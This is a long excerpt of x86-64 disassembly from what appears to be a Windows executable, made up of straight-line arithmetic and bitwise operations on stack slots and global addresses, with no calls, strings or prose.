movzx eax, byte [rsp + 0x1f6]
mov byte [rsp + 0x258], al
mov rax, qword [rsp + 0x8930]
movsx eax, word [rax]
mov rcx, qword [0x14017ab70]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x98e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x80a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd48]
or eax, ecx
mov rcx, qword [rsp + 0x7fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9a30]
mov qword [rsp + 0xb1e8], rax
mov eax, dword [section..data]
mov rcx, qword [rsp + 0x9aa0]
mov qword [rsp + 0xb1f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb1f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x42bc], eax
mov rax, qword [rsp + 0x8650]
mov rax, qword [rax]
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0x8248]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9888]
mov qword [rsp + 0xb200], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb200]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x99a8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x98]
mov rcx, qword [0x14017abf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x22a], al
movsx eax, word [rsp + 0xfd8]
mov rcx, qword [rsp + 0xa280]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401791ac], ax
movzx eax, word [rsp + 0xd00]
mov word [rsp + 0x145c], ax
mov rax, qword [0x14017a630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9350]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4c], al
lea rax, [rsp + 0x1a4]
mov qword [rsp + 0xb208], rax
mov rax, qword [rsp + 0xb000]
mov rcx, qword [rsp + 0x8768]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7e70]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ce0]
mov qword [rcx], rax
lea rax, [rsp + 0x3f88]
mov qword [rsp + 0xb210], rax
mov rax, qword [rsp + 0xa840]
mov rcx, qword [rsp + 0x6cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d68], eax
movzx eax, word [rsp + 0xc84]
mov word [rsp + 0x1460], ax
mov rax, qword [rsp + 0xb0c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1170]
sub eax, ecx
mov word [0x140179138], ax
mov rax, qword [rsp + 0xb198]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xec]
add eax, ecx
mov byte [rsp + 0xc6], al
lea rax, [rsp + 0x1224]
mov qword [rsp + 0xb218], rax
mov rax, qword [rsp + 0x7c38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa090]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7c08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8008]
movzx ecx, al
mov rax, qword [rsp + 0xa298]
shl rax, cl
mov qword [rsp + 0x72b8], rax
mov rax, qword [rsp + 0x9e98]
mov qword [rsp + 0xb220], rax
mov rax, qword [rsp + 0x7f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4364]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c38], eax
mov eax, dword [rsp + 0x3dc8]
mov dword [rsp + 0x4424], eax
movzx eax, byte [0x140179097]
movzx ecx, byte [rsp + 0x154]
or eax, ecx
mov rcx, qword [rsp + 0xa7f8]
mov byte [rcx], al
lea rax, [rsp + 0xb5]
mov qword [0x14017ae00], rax
mov rax, qword [rsp + 0x70d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9770]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1088], ax
lea rax, [0x14017909c]
mov qword [rsp + 0xb228], rax
movzx eax, byte [rsp + 0xd1]
mov rcx, qword [rsp + 0x9b10]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x224], al
lea rax, [rsp + 0x199]
mov qword [rsp + 0xb230], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x92a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8970], rax
mov rax, qword [rsp + 0x7370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7970], rax
lea rax, [rsp + 0x4088]
mov qword [rsp + 0xb238], rax
mov rax, qword [rsp + 0x80d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8798]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401790ae], al
movzx eax, word [rsp + 0xf6c]
mov word [rsp + 0x1464], ax
movsx eax, word [0x1401790a0]
movsx ecx, word [rsp + 0x11b8]
and eax, ecx
mov word [rsp + 0x1290], ax
mov rax, qword [rsp + 0x8568]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
sub eax, ecx
mov byte [rsp + 0x208], al
mov rax, qword [rsp + 0x8ab8]
movzx eax, word [rax]
mov word [rsp + 0x1468], ax
mov rax, qword [rsp + 0x99e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fcc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fe8], eax
mov rax, qword [rsp + 0x8cb0]
mov rax, qword [rax]
mov qword [rsp + 0xb240], rax
mov rax, qword [rsp + 0x8848]
mov ecx, dword [rsp + 0x3c40]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3ccc], eax
lea rax, [rsp + 0x71d8]
mov qword [rsp + 0xb248], rax
mov rax, qword [rsp + 0x9c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x86f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401791b0], ax
movzx eax, word [rsp + 0x10b0]
mov rcx, qword [rsp + 0x8900]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcdc], ax
movsx eax, byte [0x1401790d2]
movsx ecx, byte [rsp + 0x23b]
shl eax, cl
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0xa0c8]
movzx eax, word [rax]
mov word [rsp + 0x146c], ax
mov rax, qword [rsp + 0x71b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1d7]
sar eax, cl
mov rcx, qword [rsp + 0xa6a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8198]
mov rax, qword [rax]
mov qword [rsp + 0xb250], rax
mov eax, dword [rsp + 0x4270]
mov ecx, dword [rsp + 0x42ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa620]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7150]
mov rcx, qword [rsp + 0x7ad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa240]
mov rax, qword [rax]
mov qword [rsp + 0xb258], rax
movzx eax, word [rsp + 0x10bc]
mov word [0x14017ae08], ax
movzx eax, word [rsp + 0x13a4]
mov rcx, qword [rsp + 0xad78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11ac], ax
mov rax, qword [0x14017a940]
movzx eax, byte [rax]
mov byte [rsp + 0x259], al
movzx eax, byte [rsp + 0xea]
mov rcx, qword [rsp + 0x9840]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x7b30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6f00]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9308]
mov byte [rcx], al
mov eax, dword [section..data]
mov dword [rsp + 0x4428], eax
mov rax, qword [rsp + 0x8030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7250]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ad0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x41dc]
mov dword [rsp + 0x442c], eax
mov rax, qword [rsp + 0x8e30]
mov rcx, qword [rsp + 0xa520]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6de8], rax
movsx eax, word [rsp + 0xc90]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017a9e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8408]
movzx eax, byte [rax]
mov byte [rsp + 0x25a], al
mov rax, qword [rsp + 0x96b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
sub eax, ecx
mov rcx, qword [rsp + 0x8568]
mov byte [rcx], al
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd70], ax
movzx eax, byte [rsp + 0x211]
mov byte [rsp + 0x25b], al
mov rax, qword [rsp + 0xac30]
mov rcx, qword [rsp + 0x7ce8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x94d0], rax
mov rax, qword [rsp + 0xac40]
mov eax, dword [rax]
mov dword [rsp + 0x4430], eax
mov rax, qword [rsp + 0x8c40]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7468]
sar rax, cl
mov rcx, qword [rsp + 0x9780]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4238]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c4], eax
movsx eax, word [rsp + 0x10d0]
mov rcx, qword [rsp + 0xa4e0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14017ac18]
mov word [rcx], ax
lea rax, [rsp + 0x1370]
mov qword [rsp + 0xb260], rax
movzx eax, byte [rsp + 0x214]
mov rcx, qword [rsp + 0x6f20]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9378]
mov byte [rcx], al
movzx eax, word [rsp + 0xd00]
mov word [rsp + 0x1470], ax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
mov rcx, qword [0x14017aa68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b6], al
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0x9e80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6c40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3dec]
mov dword [rsp + 0x4434], eax
mov rax, qword [rsp + 0x8f68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x71c0], rax
mov rax, qword [rsp + 0x9780]
mov rax, qword [rax]
mov qword [rsp + 0xb268], rax
movzx eax, word [rsp + 0x137c]
movzx ecx, word [rsp + 0xec4]
add eax, ecx
mov word [0x1401791b4], ax
mov rax, qword [rsp + 0x83a8]
movzx eax, word [rax]
movzx ecx, word [0x1401791b0]
sub eax, ecx
mov rcx, qword [rsp + 0x8d98]
mov word [rcx], ax
mov rax, qword [rsp + 0x87e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8670]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf58]
movzx eax, byte [rax]
mov byte [rsp + 0x25c], al
mov rax, qword [rsp + 0x7948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7080]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd9], al
lea rax, [rsp + 0x4030]
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0x8f38]
mov rcx, qword [rsp + 0xa758]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xafb8], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov dword [rsp + 0x4438], eax
mov rax, qword [rsp + 0x8de8]
mov rcx, qword [rsp + 0xa0a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9798], rax
movsx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x7a50]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x14017a648]
mov byte [rcx], al
mov rax, qword [0x14017ab68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9418]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xca0], ax
mov rax, qword [rsp + 0xa428]
movzx eax, word [rax]
mov word [rsp + 0x1474], ax
movzx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x8260]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x94e0]
mov word [rcx], ax
lea rax, [0x14017a4fd]
mov qword [rsp + 0xb278], rax
mov rax, qword [rsp + 0x9ec0]
mov rcx, qword [rsp + 0xa240]
mov qword [rsp + 0xb280], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9428]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4390]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e38], eax
mov rax, qword [rsp + 0xab20]
mov qword [rsp + 0xb288], rax
mov rax, qword [rsp + 0x6f08]
mov rcx, qword [rsp + 0x7800]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4168], eax
lea rax, [rsp + 0xc3c]
mov qword [rsp + 0xb290], rax
lea rax, [0x14017a69c]
mov qword [0x14017ae10], rax
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8cc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xfbc], ax
movzx eax, byte [rsp + 0x131]
mov rcx, qword [rsp + 0x9150]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f60]
mov byte [rcx], al
mov rax, qword [0x14017aa18]
movzx eax, word [rax]
mov word [rsp + 0x1478], ax
mov rax, qword [rsp + 0x9628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4264]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3df4], eax
mov rax, qword [rsp + 0x9828]
mov qword [rsp + 0xb298], rax
mov rax, qword [rsp + 0x74f8]
mov rcx, qword [rsp + 0x7c70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9890]
mov rcx, qword [rsp + 0x75a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7a00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7fe8]
movzx eax, byte [rax]
mov byte [rsp + 0x25d], al
lea rax, [rsp + 0x21f]
mov qword [0x14017ae18], rax
movsx eax, word [rsp + 0xf60]
movsx ecx, word [rsp + 0xfc8]
add eax, ecx
mov word [rsp + 0x10b4], ax
movzx eax, byte [rsp + 0x218]
mov byte [rsp + 0x25e], al
movzx eax, byte [rsp + 0x1e2]
mov rcx, qword [rsp + 0xa260]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8688]
mov byte [rcx], al
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
mov dword [rsp + 0x443c], eax
mov rax, qword [rsp + 0x7040]
mov ecx, dword [rsp + 0x4254]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fe4], eax
mov rax, qword [rsp + 0x84b8]
mov rcx, qword [rsp + 0x8c08]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8c88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaba8]
mov qword [rsp + 0xb2a0], rax
movsx eax, byte [rsp + 0x114]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa0e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8780]
movsx eax, word [rax]
mov rcx, qword [0x14017aa00]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x14017901c], ax
mov rax, qword [rsp + 0x8f60]
movzx eax, byte [rax]
mov byte [rsp + 0x25f], al
movzx eax, word [rsp + 0xf3c]
movzx ecx, word [rsp + 0xfa8]
cdq
idiv ecx
mov word [rsp + 0x1304], ax
mov rax, qword [rsp + 0x84d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12d4]
or eax, ecx
mov word [rsp + 0x1208], ax
mov rax, qword [rsp + 0xa060]
mov eax, dword [rax]
mov dword [rsp + 0x4440], eax
mov rax, qword [rsp + 0xac88]
mov ecx, dword [rsp + 0x3cec]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6d10]
mov dword [rcx], eax
lea rax, [rsp + 0xb268]
mov qword [rsp + 0xb2a8], rax
mov rax, qword [rsp + 0x7a68]
mov rcx, qword [rsp + 0x8690]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9140], rax
mov rax, qword [rsp + 0x9938]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd1c]
sub eax, ecx
mov rcx, qword [rsp + 0x7408]
mov word [rcx], ax
mov rax, qword [rsp + 0xabf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x16a]
and eax, ecx
mov byte [reloc.COMCTL32.dll_LBItemFromPt], al
lea rax, [rsp + 0x108c]
mov qword [rsp + 0xb2b0], rax
movsx eax, byte [rsp + 0x239]
movsx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x157], al
lea rax, [0x14017a59c]
mov qword [rsp + 0xb2b8], rax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0xac38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf2c], ax
lea rax, [rsp + 0x414c]
mov qword [rsp + 0xb2c0], rax
mov rax, qword [rsp + 0x7f30]
mov rcx, qword [rsp + 0xac88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x40a0], eax
mov rax, qword [rsp + 0x71e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb268], rax
lea rax, [rsp + 0x6f40]
mov qword [rsp + 0xb2c8], rax
mov rax, qword [rsp + 0x75c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
add eax, ecx
mov byte [0x1401790c6], al
mov rax, qword [rsp + 0x9b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa6a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac60]
mov byte [rcx], al
movzx eax, word [rsp + 0x1470]
mov word [rsp + 0x147c], ax
movsx eax, word [rsp + 0xfec]
mov rcx, qword [rsp + 0x7568]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc2c], ax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x86b0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9150]
mov byte [rcx], al
lea rax, [rsp + 0x3d50]
mov qword [rsp + 0xb2d0], rax
mov rax, qword [rsp + 0x9a48]
movzx ecx, al
mov rax, qword [rsp + 0x8a08]
shl rax, cl
mov qword [rsp + 0xace0], rax
lea rax, [rsp + 0x42fc]
mov qword [rsp + 0xb2d8], rax
mov rax, qword [rsp + 0x8c88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9920]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e80], rax
mov rax, qword [0x14017a838]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x24a]
sar eax, cl
mov byte [0x14017a6bb], al
mov rax, qword [rsp + 0xa3f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7e30]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa5c0]
mov word [rcx], ax
movzx eax, word [rsp + 0xeb0]
mov word [rsp + 0x1480], ax
movsx eax, byte [rsp + 0x1e7]
mov rcx, qword [rsp + 0x6d30]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa4c0]
mov byte [rcx], al
lea rax, [rsp + 0xe4c]
mov qword [rsp + 0xb2e0], rax
mov rax, qword [rsp + 0x8f08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa718]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f28]
mov qword [rcx], rax
mov rax, qword [rsp + 0xae88]
mov rcx, qword [rsp + 0x7210]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x92d0]
mov qword [rcx], rax
lea rax, [rsp + 0x416c]
mov qword [rsp + 0xb2e8], rax
mov eax, dword [0x14017a4d0]
mov ecx, dword [rsp + 0x41c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x40ec], eax
movzx eax, word [rsp + 0xfe4]
mov word [0x14017ae20], ax
lea rax, [rsp + 0xf80]
mov qword [rsp + 0xb2f0], rax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x1b6]
sub eax, ecx
mov rcx, qword [rsp + 0x8b88]
mov byte [rcx], al
mov rax, qword [0x14017a8d0]
movzx eax, byte [rax]
mov byte [rsp + 0x260], al
movzx eax, byte [rsp + 0x117]
mov rcx, qword [rsp + 0x8cc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x45], al
mov rax, qword [rsp + 0x9af0]
mov ecx, dword [rsp + 0x3fb0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7188]
mov dword [rcx], eax
mov rax, qword [0x140179010]
mov qword [rsp + 0xb2f8], rax
mov rax, qword [rsp + 0x9ca0]
mov rcx, qword [rsp + 0x75f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x91e0], rax
lea rax, [rsp + 0x40a4]
mov qword [rsp + 0xb300], rax
movsx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0x8b70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401790ee], al
movzx eax, word [rsp + 0x13a0]
cdq
mov ecx, 0xda3
idiv ecx
mov word [rsp + 0xd70], ax
movzx eax, byte [rsp + 0x225]
movzx ecx, byte [rsp + 0xff]
shl eax, cl
mov byte [rsp + 0x113], al
movzx eax, word [rsp + 0x10b4]
mov word [rsp + 0x1484], ax
mov rax, qword [rsp + 0x9618]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c8]
sar eax, cl
mov rcx, qword [rsp + 0x8a50]
mov byte [rcx], al
mov rax, qword [rsp + 0x7a48]
mov eax, dword [rax]
mov dword [rsp + 0x4444], eax
mov rax, qword [rsp + 0x8868]
mov rcx, qword [rsp + 0x9cf0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c78]
mov ecx, dword [rsp + 0x4268]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0x6ca0]
mov rax, qword [rax]
mov qword [rsp + 0xb308], rax
movsx eax, word [0x14017918c]
mov rcx, qword [rsp + 0xa7b8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14017ab80]
mov word [rcx], ax
movzx eax, word [rsp + 0xe94]
movzx ecx, word [rsp + 0x1174]
imul eax, ecx
mov rcx, qword [rsp + 0xa4b8]
mov word [rcx], ax
lea rax, [0x14017a69e]
mov qword [rsp + 0xb310], rax
mov rax, qword [rsp + 0x7570]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1294]
add eax, ecx
mov rcx, qword [rsp + 0x7670]
mov word [rcx], ax
lea rax, [rsp + 0x11e4]
mov qword [rsp + 0xb318], rax
mov rax, qword [rsp + 0x8188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6e28]
mov rcx, qword [rsp + 0xa698]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa498], rax
lea rax, [rsp + 0x436c]
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0x8d78]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x78f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7340]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a508]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd4]
mov byte [rsp + 0x261], al
mov rax, qword [rsp + 0xacb8]
movsx eax, word [rax]
mov rcx, qword [0x14017ab10]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13b0], ax
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x73a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf3c], ax
lea rax, [rsp + 0x62]
mov qword [rsp + 0xb328], rax
mov rax, qword [rsp + 0x7610]
mov rcx, qword [rsp + 0x6c88]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa298], rax
lea rax, [rsp + 0x4120]
mov qword [rsp + 0xb330], rax
mov rax, qword [rsp + 0x6fc8]
mov rcx, qword [rsp + 0x7a38]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7ba8], rax
mov eax, dword [rsp + 0x3fd8]
movzx ecx, al
mov eax, dword [0x14017a4d0]
shl eax, cl
mov rcx, qword [rsp + 0x6ad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x87a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ce8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401791b8], ax
movzx eax, byte [rsp + 0x1bf]
mov byte [rsp + 0x262], al
mov rax, qword [rsp + 0x8c98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13c]
or eax, ecx
mov byte [rsp + 0x59], al
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0xb338], rax
mov rax, qword [rsp + 0x9728]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb290]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x71e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7f28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7698], rax
mov rax, qword [rsp + 0x7600]
mov eax, dword [rax]
mov dword [rsp + 0x4448], eax
mov rax, qword [rsp + 0x8290]
mov rcx, qword [rsp + 0x72d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x419c], eax
mov rax, qword [rsp + 0x87d8]
mov rax, qword [rax]
mov qword [rsp + 0xb340], rax
mov rax, qword [rsp + 0x71d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x212]
add eax, ecx
mov rcx, qword [rsp + 0x8f10]
mov byte [rcx], al
mov rax, qword [rsp + 0x7c98]
movzx eax, word [rax]
mov word [0x14017ae24], ax
movzx eax, word [rsp + 0x11c0]
mov word [rsp + 0x1488], ax
movsx eax, byte [rsp + 0x4a]
movsx ecx, byte [rsp + 0x12a]
sub eax, ecx
mov rcx, qword [rsp + 0x8610]
mov byte [rcx], al
mov rax, qword [rsp + 0x7130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7d30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7470]
mov byte [rcx], al
lea rax, [rsp + 0xaf60]
mov qword [rsp + 0xb348], rax
mov rax, qword [rsp + 0x7980]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2e0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9ee8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4274]
mov dword [rsp + 0x444c], eax
mov rax, qword [rsp + 0x9a50]
mov ecx, dword [rsp + 0x4060]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3dc4], eax
movzx eax, word [rsp + 0x1334]
mov rcx, qword [rsp + 0x9ad8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf90], ax
movsx eax, word [rsp + 0x1120]
mov rcx, qword [0x14017aa30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017acf0], ax
lea rax, [rsp + 0x1dd]
mov qword [rsp + 0xb350], rax
mov rax, qword [rsp + 0x7500]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8758]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13fc], ax
movzx eax, byte [rsp + 0x226]
mov byte [rsp + 0x263], al
mov rax, qword [rsp + 0xaaa0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [section..data]
shr eax, cl
mov dword [rsp + 0x3c54], eax
mov rax, qword [rsp + 0x88a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7848]
mov qword [rsp + 0xb358], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb358]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3f00], eax
mov rax, qword [rsp + 0x8470]
